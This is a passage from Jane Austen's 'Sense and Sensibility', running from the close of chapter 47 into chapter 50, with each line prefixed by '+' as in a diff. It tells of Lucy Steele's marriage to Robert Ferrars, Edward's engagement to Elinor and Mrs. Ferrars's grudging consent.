+as your frugality retrenched only on your own comfort, +you might have been suffered to practice it, but beyond that-- +and how little could the utmost of your single management +do to stop the ruin which had begun before your marriage?-- +Beyond THAT, had you endeavoured, however reasonably, +to abridge HIS enjoyments, is it not to be feared, that instead +of prevailing on feelings so selfish to consent to it, +you would have lessened your own influence on his heart, +and made him regret the connection which had involved him +in such difficulties?" + +Marianne's lips quivered, and she repeated the word +"Selfish?" in a tone that implied--"do you really think +him selfish?" + +"The whole of his behaviour," replied Elinor, +"from the beginning to the end of the affair, has been +grounded on selfishness. It was selfishness which first +made him sport with your affections; which afterwards, +when his own were engaged, made him delay the confession +of it, and which finally carried him from Barton. +His own enjoyment, or his own ease, was, in every particular, +his ruling principle." + +"It is very true. MY happiness never was his object." + +"At present," continued Elinor, "he regrets what he +has done. And why does he regret it?--Because he finds +it has not answered towards himself. It has not made +him happy. His circumstances are now unembarrassed--he +suffers from no evil of that kind; and he thinks only +that he has married a woman of a less amiable temper +than yourself. But does it follow that had he married you, +he would have been happy?--The inconveniences would have +been different. He would then have suffered under the +pecuniary distresses which, because they are removed, +he now reckons as nothing. He would have had a wife +of whose temper he could make no complaint, but he would +have been always necessitous--always poor; and probably +would soon have learned to rank the innumerable comforts +of a clear estate and good income as of far more importance, +even to domestic happiness, than the mere temper of a wife." + +"I have not a doubt of it," said Marianne; "and I +have nothing to regret--nothing but my own folly." + +"Rather say your mother's imprudence, my child," +said Mrs. Dashwood; "SHE must be answerable." + +Marianne would not let her proceed;--and Elinor, +satisfied that each felt their own error, wished to avoid +any survey of the past that might weaken her sister's +spirits; she, therefore, pursuing the first subject, +immediately continued, + +"One observation may, I think, be fairly drawn from +the whole of the story--that all Willoughby's difficulties +have arisen from the first offence against virtue, in his +behaviour to Eliza Williams. That crime has been the origin +of every lesser one, and of all his present discontents." + +Marianne assented most feelingly to the remark; +and her mother was led by it to an enumeration of Colonel +Brandon's injuries and merits, warm as friendship +and design could unitedly dictate. Her daughter did +not look, however, as if much of it were heard by her. + +Elinor, according to her expectation, saw on the two +or three following days, that Marianne did not continue +to gain strength as she had done; but while her resolution +was unsubdued, and she still tried to appear cheerful +and easy, her sister could safely trust to the effect +of time upon her health. + +Margaret returned, and the family were again all +restored to each other, again quietly settled at the cottage; +and if not pursuing their usual studies with quite +so much vigour as when they first came to Barton, +at least planning a vigorous prosecution of them in future. + +Elinor grew impatient for some tidings of Edward. +She had heard nothing of him since her leaving London, +nothing new of his plans, nothing certain even of his +present abode. Some letters had passed between her +and her brother, in consequence of Marianne's illness; +and in the first of John's, there had been this sentence:-- +"We know nothing of our unfortunate Edward, and can make no +enquiries on so prohibited a subject, but conclude him +to be still at Oxford;" which was all the intelligence +of Edward afforded her by the correspondence, for his name +was not even mentioned in any of the succeeding letters. +She was not doomed, however, to be long in ignorance of +his measures. + +Their man-servant had been sent one morning to Exeter +on business; and when, as he waited at table, he had +satisfied the inquiries of his mistress as to the event +of his errand, this was his voluntary communication-- + +"I suppose you know, ma'am, that Mr. Ferrars is married." + +Marianne gave a violent start, fixed her eyes +upon Elinor, saw her turning pale, and fell back in her +chair in hysterics. Mrs. Dashwood, whose eyes, as she +answered the servant's inquiry, had intuitively taken +the same direction, was shocked to perceive by Elinor's +countenance how much she really suffered, and a moment +afterwards, alike distressed by Marianne's situation, +knew not on which child to bestow her principal attention. + +The servant, who saw only that Miss Marianne was +taken ill, had sense enough to call one of the maids, +who, with Mrs. Dashwood's assistance, supported her into +the other room. By that time, Marianne was rather better, +and her mother leaving her to the care of Margaret +and the maid, returned to Elinor, who, though still +much disordered, had so far recovered the use of her reason +and voice as to be just beginning an inquiry of Thomas, +as to the source of his intelligence. Mrs. Dashwood +immediately took all that trouble on herself; and Elinor +had the benefit of the information without the exertion +of seeking it. + +"Who told you that Mr. Ferrars was married, Thomas?" + +"I see Mr. Ferrars myself, ma'am, this morning +in Exeter, and his lady too, Miss Steele as was. They was +stopping in a chaise at the door of the New London Inn, +as I went there with a message from Sally at the Park +to her brother, who is one of the post-boys. I happened +to look up as I went by the chaise, and so I see directly +it was the youngest Miss Steele; so I took off my hat, +and she knew me and called to me, and inquired after you, +ma'am, and the young ladies, especially Miss Marianne, +and bid me I should give her compliments and Mr. Ferrars's, +their best compliments and service, and how sorry they +was they had not time to come on and see you, but they was +in a great hurry to go forwards, for they was going further +down for a little while, but howsever, when they come back, +they'd make sure to come and see you." + +"But did she tell you she was married, Thomas?" + +"Yes, ma'am. She smiled, and said how she +had changed her name since she was in these parts. +She was always a very affable and free-spoken young lady, +and very civil behaved. So, I made free to wish her joy." + +"Was Mr. Ferrars in the carriage with her?" + +"Yes, ma'am, I just see him leaning back in it, +but he did not look up;--he never was a gentleman much +for talking." + +Elinor's heart could easily account for his not +putting himself forward; and Mrs. Dashwood probably +found the same explanation. + +"Was there no one else in the carriage?" + +"No, ma'am, only they two." + +"Do you know where they came from?" + +"They come straight from town, as Miss Lucy-- +Mrs. Ferrars told me." + +"And are they going farther westward?" + +"Yes, ma'am--but not to bide long. They will soon +be back again, and then they'd be sure and call here." + +Mrs. Dashwood now looked at her daughter; +but Elinor knew better than to expect them. +She recognised the whole of Lucy in the message, and was +very confident that Edward would never come near them. +She observed in a low voice, to her mother, that they +were probably going down to Mr. Pratt's, near Plymouth. + +Thomas's intelligence seemed over. Elinor looked +as if she wished to hear more. + +"Did you see them off, before you came away?" + +"No, ma'am--the horses were just coming out, but I +could not bide any longer; I was afraid of being late." + +"Did Mrs. Ferrars look well?" + +"Yes, ma'am, she said how she was very well; +and to my mind she was always a very handsome young +lady--and she seemed vastly contented." + +Mrs. Dashwood could think of no other question, +and Thomas and the tablecloth, now alike needless, +were soon afterwards dismissed. Marianne had already sent +to say, that she should eat nothing more. Mrs. Dashwood's +and Elinor's appetites were equally lost, and Margaret +might think herself very well off, that with so much +uneasiness as both her sisters had lately experienced, +so much reason as they had often had to be careless +of their meals, she had never been obliged to go without +her dinner before. + +When the dessert and the wine were arranged, +and Mrs. Dashwood and Elinor were left by themselves, +they remained long together in a similarity of thoughtfulness +and silence. Mrs. Dashwood feared to hazard any remark, +and ventured not to offer consolation. She now found +that she had erred in relying on Elinor's representation +of herself; and justly concluded that every thing +had been expressly softened at the time, to spare her +from an increase of unhappiness, suffering as she then +had suffered for Marianne. She found that she had been +misled by the careful, the considerate attention of +her daughter, to think the attachment, which once she +had so well understood, much slighter in reality, than +she had been wont to believe, or than it was now proved +to be. She feared that under this persuasion she had +been unjust, inattentive, nay, almost unkind, to her Elinor;-- +that Marianne's affliction, because more acknowledged, +more immediately before her, had too much engrossed +her tenderness, and led her away to forget that in Elinor +she might have a daughter suffering almost as much, +certainly with less self-provocation, and greater fortitude. + + + +CHAPTER 48 + + +Elinor now found the difference between the expectation +of an unpleasant event, however certain the mind may be told +to consider it, and certainty itself. She now found, that +in spite of herself, she had always admitted a hope, +while Edward remained single, that something would occur +to prevent his marrying Lucy; that some resolution of +his own, some mediation of friends, or some more eligible +opportunity of establishment for the lady, would arise +to assist the happiness of all. But he was now married; +and she condemned her heart for the lurking flattery, +which so much heightened the pain of the intelligence. + +That he should be married soon, before (as she imagined) +he could be in orders, and consequently before he could +be in possession of the living, surprised her a little +at first. But she soon saw how likely it was that Lucy, +in her self-provident care, in her haste to secure him, +should overlook every thing but the risk of delay. +They were married, married in town, and now hastening +down to her uncle's. What had Edward felt on being within +four miles from Barton, on seeing her mother's servant, +on hearing Lucy's message! + +They would soon, she supposed, be settled at +Delaford.--Delaford,--that place in which so much +conspired to give her an interest; which she wished +to be acquainted with, and yet desired to avoid. +She saw them in an instant in their parsonage-house; saw +in Lucy, the active, contriving manager, uniting at once +a desire of smart appearance with the utmost frugality, +and ashamed to be suspected of half her economical practices;-- +pursuing her own interest in every thought, courting the +favour of Colonel Brandon, of Mrs. Jennings, and of every +wealthy friend. In Edward--she knew not what she saw, +nor what she wished to see;--happy or unhappy,--nothing +pleased her; she turned away her head from every sketch of him. + +Elinor flattered herself that some one of their +connections in London would write to them to announce +the event, and give farther particulars,--but day after +day passed off, and brought no letter, no tidings. +Though uncertain that any one were to blame, she found +fault with every absent friend. They were all thoughtless +or indolent. + +"When do you write to Colonel Brandon, ma'am?" +was an inquiry which sprung from the impatience +of her mind to have something going on. + +"I wrote to him, my love, last week, and rather +expect to see, than to hear from him again. I earnestly +pressed his coming to us, and should not be surprised +to see him walk in today or tomorrow, or any day." + +This was gaining something, something to look forward to. +Colonel Brandon must have some information to give. + +Scarcely had she so determined it, when the figure +of a man on horseback drew her eyes to the window. +He stopt at their gate. It was a gentleman, it +was Colonel Brandon himself. Now she could hear more; +and she trembled in expectation of it. But--it was +NOT Colonel Brandon--neither his air--nor his height. +Were it possible, she must say it must be Edward. +She looked again. He had just dismounted;--she could not be +mistaken,--it WAS Edward. She moved away and sat down. +"He comes from Mr. Pratt's purposely to see us. I WILL be +calm; I WILL be mistress of myself." + +In a moment she perceived that the others were likewise +aware of the mistake. She saw her mother and Marianne +change colour; saw them look at herself, and whisper +a few sentences to each other. She would have given +the world to be able to speak--and to make them understand +that she hoped no coolness, no slight, would appear +in their behaviour to him;--but she had no utterance, +and was obliged to leave all to their own discretion. + +Not a syllable passed aloud. They all waited +in silence for the appearance of their visitor. +His footsteps were heard along the gravel path; in a moment +he was in the passage, and in another he was before them. + +His countenance, as he entered the room, was not +too happy, even for Elinor. His complexion was white +with agitation, and he looked as if fearful of his +reception, and conscious that he merited no kind one. +Mrs. Dashwood, however, conforming, as she trusted, +to the wishes of that daughter, by whom she then meant +in the warmth of her heart to be guided in every thing, +met with a look of forced complacency, gave him her hand, +and wished him joy. + +He coloured, and stammered out an unintelligible reply. +Elinor's lips had moved with her mother's, and, when the +moment of action was over, she wished that she had shaken +hands with him too. But it was then too late, and with a +countenance meaning to be open, she sat down again +and talked of the weather. + +Marianne had retreated as much as possible +out of sight, to conceal her distress; and Margaret, +understanding some part, but not the whole of the case, +thought it incumbent on her to be dignified, and therefore +took a seat as far from him as she could, and maintained +a strict silence. + +When Elinor had ceased to rejoice in the dryness +of the season, a very awful pause took place. It was put +an end to by Mrs. Dashwood, who felt obliged to hope that he +had left Mrs. Ferrars very well. In a hurried manner, +he replied in the affirmative. + +Another pause. + +Elinor resolving to exert herself, though fearing +the sound of her own voice, now said, + +"Is Mrs. Ferrars at Longstaple?" + +"At Longstaple!" he replied, with an air of surprise.-- +"No, my mother is in town." + +"I meant," said Elinor, taking up some work from +the table, "to inquire for Mrs. EDWARD Ferrars." + +She dared not look up;--but her mother and Marianne both +turned their eyes on him. He coloured, seemed perplexed, +looked doubtingly, and, after some hesitation, said,-- + +"Perhaps you mean--my brother--you mean Mrs.--Mrs. +ROBERT Ferrars." + +"Mrs. Robert Ferrars!"--was repeated by Marianne and her +mother in an accent of the utmost amazement;--and though +Elinor could not speak, even HER eyes were fixed on him +with the same impatient wonder. He rose from his seat, +and walked to the window, apparently from not knowing +what to do; took up a pair of scissors that lay there, +and while spoiling both them and their sheath by cutting +the latter to pieces as he spoke, said, in a hurried voice, + +"Perhaps you do not know--you may not have heard +that my brother is lately married to--to the youngest--to +Miss Lucy Steele." + +His words were echoed with unspeakable astonishment +by all but Elinor, who sat with her head leaning over +her work, in a state of such agitation as made her hardly +know where she was. + +"Yes," said he, "they were married last week, +and are now at Dawlish." + +Elinor could sit it no longer. She almost ran +out of the room, and as soon as the door was closed, +burst into tears of joy, which at first she thought would +never cease. Edward, who had till then looked any where, +rather than at her, saw her hurry away, and perhaps saw-- +or even heard, her emotion; for immediately afterwards +he fell into a reverie, which no remarks, no inquiries, +no affectionate address of Mrs. Dashwood could penetrate, +and at last, without saying a word, quitted the room, +and walked out towards the village--leaving the others +in the greatest astonishment and perplexity on a change +in his situation, so wonderful and so sudden;--a perplexity +which they had no means of lessening but by their +own conjectures. + + + +CHAPTER 49 + + +Unaccountable, however, as the circumstances of his +release might appear to the whole family, it was certain +that Edward was free; and to what purpose that freedom would +be employed was easily pre-determined by all;--for after +experiencing the blessings of ONE imprudent engagement, +contracted without his mother's consent, as he had already +done for more than four years, nothing less could be expected +of him in the failure of THAT, than the immediate contraction +of another. + +His errand at Barton, in fact, was a simple one. +It was only to ask Elinor to marry him;--and considering +that he was not altogether inexperienced in such a question, +it might be strange that he should feel so uncomfortable +in the present case as he really did, so much in need of +encouragement and fresh air. + +How soon he had walked himself into the proper +resolution, however, how soon an opportunity of exercising +it occurred, in what manner he expressed himself, +and how he was received, need not be particularly told. +This only need be said;--that when they all sat down to +table at four o'clock, about three hours after his arrival, +he had secured his lady, engaged her mother's consent, +and was not only in the rapturous profession of +the lover, but, in the reality of reason and truth, +one of the happiest of men. His situation indeed was +more than commonly joyful. He had more than the ordinary +triumph of accepted love to swell his heart, and raise +his spirits. He was released without any reproach +to himself, from an entanglement which had long formed +his misery, from a woman whom he had long ceased to love;-- +and elevated at once to that security with another, +which he must have thought of almost with despair, +as soon as he had learnt to consider it with desire. +He was brought, not from doubt or suspense, but from +misery to happiness;--and the change was openly spoken +in such a genuine, flowing, grateful cheerfulness, +as his friends had never witnessed in him before. + +His heart was now open to Elinor, all its weaknesses, +all its errors confessed, and his first boyish attachment +to Lucy treated with all the philosophic dignity of twenty-four. + +"It was a foolish, idle inclination on my side," +said he, "the consequence of ignorance of the world-- +and want of employment. Had my brother given me +some active profession when I was removed at eighteen +from the care of Mr. Pratt, I think--nay, I am sure, +it would never have happened; for though I left Longstaple +with what I thought, at the time, a most unconquerable +preference for his niece, yet had I then had any pursuit, +any object to engage my time and keep me at a distance +from her for a few months, I should very soon have +outgrown the fancied attachment, especially by mixing +more with the world, as in such case I must have done. +But instead of having any thing to do, instead of having any +profession chosen for me, or being allowed to chuse any myself, +I returned home to be completely idle; and for the first +twelvemonth afterwards I had not even the nominal employment, +which belonging to the university would have given me; +for I was not entered at Oxford till I was nineteen. +I had therefore nothing in the world to do, but to fancy +myself in love; and as my mother did not make my home +in every respect comfortable, as I had no friend, +no companion in my brother, and disliked new acquaintance, +it was not unnatural for me to be very often at Longstaple, +where I always felt myself at home, and was always sure +of a welcome; and accordingly I spent the greatest part +of my time there from eighteen to nineteen: Lucy appeared +everything that was amiable and obliging. She was pretty +too--at least I thought so THEN; and I had seen so little +of other women, that I could make no comparisons, and see +no defects. Considering everything, therefore, I hope, +foolish as our engagement was, foolish as it has since +in every way been proved, it was not at the time an unnatural +or an inexcusable piece of folly." + +The change which a few hours had wrought in the minds +and the happiness of the Dashwoods, was such--so great--as +promised them all, the satisfaction of a sleepless night. +Mrs. Dashwood, too happy to be comfortable, knew not how +to love Edward, nor praise Elinor enough, how to be enough +thankful for his release without wounding his delicacy, +nor how at once to give them leisure for unrestrained +conversation together, and yet enjoy, as she wished, +the sight and society of both. + +Marianne could speak HER happiness only by tears. +Comparisons would occur--regrets would arise;--and her joy, +though sincere as her love for her sister, was of a kind to +give her neither spirits nor language. + +But Elinor--how are HER feelings to be described?--From +the moment of learning that Lucy was married to another, +that Edward was free, to the moment of his justifying +the hopes which had so instantly followed, she was every +thing by turns but tranquil. But when the second moment +had passed, when she found every doubt, every solicitude +removed, compared her situation with what so lately it +had been,--saw him honourably released from his former +engagement, saw him instantly profiting by the release, +to address herself and declare an affection as tender, +as constant as she had ever supposed it to be,--she +was oppressed, she was overcome by her own felicity;-- +and happily disposed as is the human mind to be easily +familiarized with any change for the better, it required +several hours to give sedateness to her spirits, or any +degree of tranquillity to her heart. + +Edward was now fixed at the cottage at least for +a week;--for whatever other claims might be made on him, +it was impossible that less than a week should be given +up to the enjoyment of Elinor's company, or suffice +to say half that was to be said of the past, the present, +and the future;--for though a very few hours spent in +the hard labor of incessant talking will despatch more +subjects than can really be in common between any two +rational creatures, yet with lovers it is different. +Between THEM no subject is finished, no communication +is even made, till it has been made at least twenty +times over. + +Lucy's marriage, the unceasing and reasonable wonder +among them all, formed of course one of the earliest +discussions of the lovers;--and Elinor's particular knowledge +of each party made it appear to her in every view, as one +of the most extraordinary and unaccountable circumstances +she had ever heard. How they could be thrown together, +and by what attraction Robert could be drawn on to marry +a girl, of whose beauty she had herself heard him speak +without any admiration,--a girl too already engaged +to his brother, and on whose account that brother had been +thrown off by his family--it was beyond her comprehension +to make out. To her own heart it was a delightful affair, +to her imagination it was even a ridiculous one, but +to her reason, her judgment, it was completely a puzzle. + +Edward could only attempt an explanation by supposing, +that, perhaps, at first accidentally meeting, the vanity +of the one had been so worked on by the flattery +of the other, as to lead by degrees to all the rest. +Elinor remembered what Robert had told her in Harley Street, +of his opinion of what his own mediation in his brother's +affairs might have done, if applied to in time. +She repeated it to Edward. + +"THAT was exactly like Robert,"--was his immediate +observation.--"And THAT," he presently added, "might +perhaps be in HIS head when the acquaintance between +them first began. And Lucy perhaps at first might +think only of procuring his good offices in my favour. +Other designs might afterward arise." + +How long it had been carrying on between them, +however, he was equally at a loss with herself to make out; +for at Oxford, where he had remained for choice ever since +his quitting London, he had had no means of hearing of her +but from herself, and her letters to the very last were +neither less frequent, nor less affectionate than usual. +Not the smallest suspicion, therefore, had ever occurred +to prepare him for what followed;--and when at last it +burst on him in a letter from Lucy herself, he had been +for some time, he believed, half stupified between +the wonder, the horror, and the joy of such a deliverance. +He put the letter into Elinor's hands. + + "DEAR SIR, + + "Being very sure I have long lost your affections, + I have thought myself at liberty to bestow my own + on another, and have no doubt of being as happy with + him as I once used to think I might be with you; + but I scorn to accept a hand while the heart was + another's. Sincerely wish you happy in your choice, + and it shall not be my fault if we are not always + good friends, as our near relationship now makes + proper. I can safely say I owe you no ill-will, + and am sure you will be too generous to do us any + ill offices. Your brother has gained my affections + entirely, and as we could not live without one + another, we are just returned from the altar, and + are now on our way to Dawlish for a few weeks, which + place your dear brother has great curiosity to see, + but thought I would first trouble you with these + few lines, and shall always remain, + + "Your sincere well-wisher, friend, and sister, + "LUCY FERRARS. + + "I have burnt all your letters, and will return + your picture the first opportunity. Please to destroy + my scrawls--but the ring with my hair you are very + welcome to keep." + +Elinor read and returned it without any comment. + +"I will not ask your opinion of it as a composition," +said Edward.--"For worlds would not I have had a letter +of hers seen by YOU in former days.--In a sister it +is bad enough, but in a wife!--how I have blushed over +the pages of her writing!--and I believe I may say that +since the first half year of our foolish--business--this +is the only letter I ever received from her, of which +the substance made me any amends for the defect of the style." + +"However it may have come about," said Elinor, +after a pause,--"they are certainly married. And your mother +has brought on herself a most appropriate punishment. +The independence she settled on Robert, through resentment +against you, has put it in his power to make his own choice; +and she has actually been bribing one son with a thousand +a-year, to do the very deed which she disinherited the +other for intending to do. She will hardly be less hurt, +I suppose, by Robert's marrying Lucy, than she would have +been by your marrying her." + +"She will be more hurt by it, for Robert always +was her favourite.--She will be more hurt by it, +and on the same principle will forgive him much sooner." + +In what state the affair stood at present between them, +Edward knew not, for no communication with any of his family +had yet been attempted by him. He had quitted Oxford +within four and twenty hours after Lucy's letter arrived, +and with only one object before him, the nearest road +to Barton, had had no leisure to form any scheme of conduct, +with which that road did not hold the most intimate connection. +He could do nothing till he were assured of his fate with +Miss Dashwood; and by his rapidity in seeking THAT fate, +it is to be supposed, in spite of the jealousy with +which he had once thought of Colonel Brandon, in spite +of the modesty with which he rated his own deserts, +and the politeness with which he talked of his doubts, +he did not, upon the whole, expect a very cruel reception. +It was his business, however, to say that he DID, and he +said it very prettily. What he might say on the subject +a twelvemonth after, must be referred to the imagination +of husbands and wives. + +That Lucy had certainly meant to deceive, to go off +with a flourish of malice against him in her message +by Thomas, was perfectly clear to Elinor; and Edward himself, +now thoroughly enlightened on her character, had no +scruple in believing her capable of the utmost meanness +of wanton ill-nature. Though his eyes had been long opened, +even before his acquaintance with Elinor began, to her +ignorance and a want of liberality in some of her opinions-- +they had been equally imputed, by him, to her want +of education; and till her last letter reached him, +he had always believed her to be a well-disposed, +good-hearted girl, and thoroughly attached to himself. +Nothing but such a persuasion could have prevented +his putting an end to an engagement, which, long before +the discovery of it laid him open to his mother's anger, +had been a continual source of disquiet and regret to him. + +"I thought it my duty," said he, "independent of my feelings, +to give her the option of continuing the engagement or not, +when I was renounced by my mother, and stood to all +appearance without a friend in the world to assist me. +In such a situation as that, where there seemed nothing +to tempt the avarice or the vanity of any living creature, +how could I suppose, when she so earnestly, so warmly insisted +on sharing my fate, whatever it might be, that any thing +but the most disinterested affection was her inducement? +And even now, I cannot comprehend on what motive she acted, +or what fancied advantage it could be to her, to be +fettered to a man for whom she had not the smallest regard, +and who had only two thousand pounds in the world. +She could not foresee that Colonel Brandon would give me a +living." + +"No; but she might suppose that something would occur +in your favour; that your own family might in time relent. +And at any rate, she lost nothing by continuing the engagement, +for she has proved that it fettered neither her inclination +nor her actions. The connection was certainly a +respectable one, and probably gained her consideration among +her friends; and, if nothing more advantageous occurred, +it would be better for her to marry YOU than be single." + +Edward was, of course, immediately convinced that +nothing could have been more natural than Lucy's conduct, +nor more self-evident than the motive of it. + +Elinor scolded him, harshly as ladies always scold +the imprudence which compliments themselves, for having +spent so much time with them at Norland, when he must +have felt his own inconstancy. + +"Your behaviour was certainly very wrong," said she; +"because--to say nothing of my own conviction, our relations +were all led away by it to fancy and expect WHAT, as you +were THEN situated, could never be." + +He could only plead an ignorance of his own heart, +and a mistaken confidence in the force of his engagement. + +"I was simple enough to think, that because my FAITH +was plighted to another, there could be no danger in my being +with you; and that the consciousness of my engagement was +to keep my heart as safe and sacred as my honour. I felt +that I admired you, but I told myself it was only friendship; +and till I began to make comparisons between yourself +and Lucy, I did not know how far I was got. After that, +I suppose, I WAS wrong in remaining so much in Sussex, +and the arguments with which I reconciled myself to the +expediency of it, were no better than these:--The danger +is my own; I am doing no injury to anybody but myself." + +Elinor smiled, and shook her head. + +Edward heard with pleasure of Colonel Brandon's +being expected at the Cottage, as he really wished +not only to be better acquainted with him, but to have an +opportunity of convincing him that he no longer resented +his giving him the living of Delaford--"Which, at present," +said he, "after thanks so ungraciously delivered as mine +were on the occasion, he must think I have never forgiven +him for offering." + +NOW he felt astonished himself that he had never yet +been to the place. But so little interest had be taken +in the matter, that he owed all his knowledge of the house, +garden, and glebe, extent of the parish, condition of +the land, and rate of the tithes, to Elinor herself, +who had heard so much of it from Colonel Brandon, +and heard it with so much attention, as to be entirely +mistress of the subject. + +One question after this only remained undecided, +between them, one difficulty only was to be overcome. +They were brought together by mutual affection, +with the warmest approbation of their real friends; +their intimate knowledge of each other seemed to make +their happiness certain--and they only wanted something +to live upon. Edward had two thousand pounds, and Elinor +one, which, with Delaford living, was all that they could +call their own; for it was impossible that Mrs. Dashwood +should advance anything; and they were neither of them +quite enough in love to think that three hundred and fifty +pounds a-year would supply them with the comforts of life. + +Edward was not entirely without hopes of some +favourable change in his mother towards him; and on THAT +he rested for the residue of their income. But Elinor +had no such dependence; for since Edward would still +be unable to marry Miss Morton, and his chusing herself +had been spoken of in Mrs. Ferrars's flattering language +as only a lesser evil than his chusing Lucy Steele, +she feared that Robert's offence would serve no other +purpose than to enrich Fanny. + +About four days after Edward's arrival Colonel +Brandon appeared, to complete Mrs. Dashwood's satisfaction, +and to give her the dignity of having, for the first time +since her living at Barton, more company with her than +her house would hold. Edward was allowed to retain the +privilege of first comer, and Colonel Brandon therefore +walked every night to his old quarters at the Park; +from whence he usually returned in the morning, early enough +to interrupt the lovers' first tete-a-tete before breakfast. + +A three weeks' residence at Delaford, where, +in his evening hours at least, he had little to do +but to calculate the disproportion between thirty-six +and seventeen, brought him to Barton in a temper of mind +which needed all the improvement in Marianne's looks, +all the kindness of her welcome, and all the encouragement +of her mother's language, to make it cheerful. +Among such friends, however, and such flattery, he did revive. +No rumour of Lucy's marriage had yet reached him:--he knew +nothing of what had passed; and the first hours of his +visit were consequently spent in hearing and in wondering. +Every thing was explained to him by Mrs. Dashwood, +and he found fresh reason to rejoice in what he had done +for Mr. Ferrars, since eventually it promoted the interest +of Elinor. + +It would be needless to say, that the gentlemen advanced +in the good opinion of each other, as they advanced in each +other's acquaintance, for it could not be otherwise. +Their resemblance in good principles and good sense, +in disposition and manner of thinking, would probably +have been sufficient to unite them in friendship, +without any other attraction; but their being in love +with two sisters, and two sisters fond of each other, +made that mutual regard inevitable and immediate, +which might otherwise have waited the effect of time +and judgment. + +The letters from town, which a few days before would +have made every nerve in Elinor's body thrill with transport, +now arrived to be read with less emotion that mirth. +Mrs. Jennings wrote to tell the wonderful tale, to vent her +honest indignation against the jilting girl, and pour forth +her compassion towards poor Mr. Edward, who, she was sure, +had quite doted upon the worthless hussy, and was now, +by all accounts, almost broken-hearted, at Oxford.-- +"I do think," she continued, "nothing was ever carried +on so sly; for it was but two days before Lucy called +and sat a couple of hours with me. Not a soul suspected +anything of the matter, not even Nancy, who, poor soul! +came crying to me the day after, in a great fright +for fear of Mrs. Ferrars, as well as not knowing how to +get to Plymouth; for Lucy it seems borrowed all her +money before she went off to be married, on purpose +we suppose to make a show with, and poor Nancy had not +seven shillings in the world;--so I was very glad to give +her five guineas to take her down to Exeter, where she +thinks of staying three or four weeks with Mrs. Burgess, +in hopes, as I tell her, to fall in with the Doctor again. +And I must say that Lucy's crossness not to take them +along with them in the chaise is worse than all. +Poor Mr. Edward! I cannot get him out of my head, but you +must send for him to Barton, and Miss Marianne must try to +comfort him." + +Mr. Dashwood's strains were more solemn. +Mrs. Ferrars was the most unfortunate of women--poor +Fanny had suffered agonies of sensibility--and he +considered the existence of each, under such a blow, +with grateful wonder. Robert's offence was unpardonable, +but Lucy's was infinitely worse. Neither of them were +ever again to be mentioned to Mrs. Ferrars; and even, +if she might hereafter be induced to forgive her son, +his wife should never be acknowledged as her daughter, +nor be permitted to appear in her presence. The secrecy +with which everything had been carried on between them, +was rationally treated as enormously heightening +the crime, because, had any suspicion of it occurred +to the others, proper measures would have been taken +to prevent the marriage; and he called on Elinor to join +with him in regretting that Lucy's engagement with Edward +had not rather been fulfilled, than that she should thus +be the means of spreading misery farther in the family.-- +He thus continued: + +"Mrs. Ferrars has never yet mentioned Edward's name, +which does not surprise us; but, to our great astonishment, +not a line has been received from him on the occasion. +Perhaps, however, he is kept silent by his fear of offending, +and I shall, therefore, give him a hint, by a line +to Oxford, that his sister and I both think a letter +of proper submission from him, addressed perhaps to Fanny, +and by her shewn to her mother, might not be taken amiss; +for we all know the tenderness of Mrs. Ferrars's heart, +and that she wishes for nothing so much as to be on good terms +with her children." + +This paragraph was of some importance to the +prospects and conduct of Edward. It determined him +to attempt a reconciliation, though not exactly +in the manner pointed out by their brother and sister. + +"A letter of proper submission!" repeated he; +"would they have me beg my mother's pardon for Robert's +ingratitude to HER, and breach of honour to ME?--I can +make no submission--I am grown neither humble nor +penitent by what has passed.--I am grown very happy; +but that would not interest.--I know of no submission +that IS proper for me to make." + +"You may certainly ask to be forgiven," said Elinor, +"because you have offended;--and I should think you +might NOW venture so far as to profess some concern +for having ever formed the engagement which drew on you +your mother's anger." + +He agreed that he might. + +"And when she has forgiven you, perhaps a little humility +may be convenient while acknowledging a second engagement, +almost as imprudent in HER eyes as the first." + +He had nothing to urge against it, but still +resisted the idea of a letter of proper submission; +and therefore, to make it easier to him, as he declared +a much greater willingness to make mean concessions +by word of mouth than on paper, it was resolved that, +instead of writing to Fanny, he should go to London, +and personally intreat her good offices in his favour.-- +"And if they really DO interest themselves," said Marianne, +in her new character of candour, "in bringing about +a reconciliation, I shall think that even John and Fanny +are not entirely without merit." + +After a visit on Colonel Brandon's side of only three +or four days, the two gentlemen quitted Barton together.-- +They were to go immediately to Delaford, that Edward +might have some personal knowledge of his future home, +and assist his patron and friend in deciding on what +improvements were needed to it; and from thence, +after staying there a couple of nights, he was to proceed +on his journey to town. + + + +CHAPTER 50 + + +After a proper resistance on the part of Mrs. Ferrars, +just so violent and so steady as to preserve her from that +reproach which she always seemed fearful of incurring, +the reproach of being too amiable, Edward was admitted +to her presence, and pronounced to be again her son. + +Her family had of late been exceedingly fluctuating. +For many years of her life she had had two sons; +but the crime and annihilation of Edward a few weeks ago, +had robbed her of one; the similar annihilation of Robert +had left her for a fortnight without any; and now, +by the resuscitation of Edward, she had one again. + +In spite of his being allowed once more to live, +however, he did not feel the continuance of his existence +secure, till he had revealed his present engagement; +for the publication of that circumstance, he feared, +might give a sudden turn to his constitution, and carry +him off as rapidly as before. With apprehensive caution +therefore it was revealed, and he was listened to with +unexpected calmness. Mrs. Ferrars at first reasonably +endeavoured to dissuade him from marrying Miss Dashwood, +by every argument in her power;--told him, that in Miss Morton +he would have a woman of higher rank and larger fortune;-- +and enforced the assertion, by observing that Miss Morton +was the daughter of a nobleman with thirty thousand pounds, +while Miss Dashwood was only the daughter of a private +gentleman with no more than THREE; but when she found that, +though perfectly admitting the truth of her representation, +he was by no means inclined to be guided by it, +she judged it wisest, from the experience of the past, +to submit--and therefore, after such an ungracious delay +as she owed to her own dignity, and as served to prevent +every suspicion of good-will, she issued her decree +of consent to the marriage of Edward and Elinor. + +What she would engage to do towards augmenting +their income was next to be considered; and here it +plainly appeared, that though Edward was now her only son, +he was by no means her eldest; for while Robert was +inevitably endowed with a thousand pounds a-year, +not the smallest objection was made against Edward's taking +orders for the sake of two hundred and fifty at the utmost; +nor was anything promised either for the present or in future, +beyond the ten thousand pounds, which had been given with Fanny. + +It was as much, however, as was desired, +and more than was expected, by Edward and Elinor; +and Mrs. Ferrars herself, by her shuffling excuses, +seemed the only person surprised at her not giving more. + +With an income quite sufficient to their wants +thus secured to them, they had nothing to wait for +after Edward was in possession of the living, but the +readiness of the house, to which Colonel Brandon, +with an eager desire for the accommodation of Elinor, +was making considerable improvements; and after waiting +some time for their completion, after experiencing, +as usual, a thousand disappointments and delays +from the unaccountable dilatoriness of the workmen, Elinor, +as usual, broke through the first positive resolution +of not marrying till every thing was ready, and the +ceremony took place in Barton church early in the autumn. + +The first month after their marriage was spent +with their friend at the 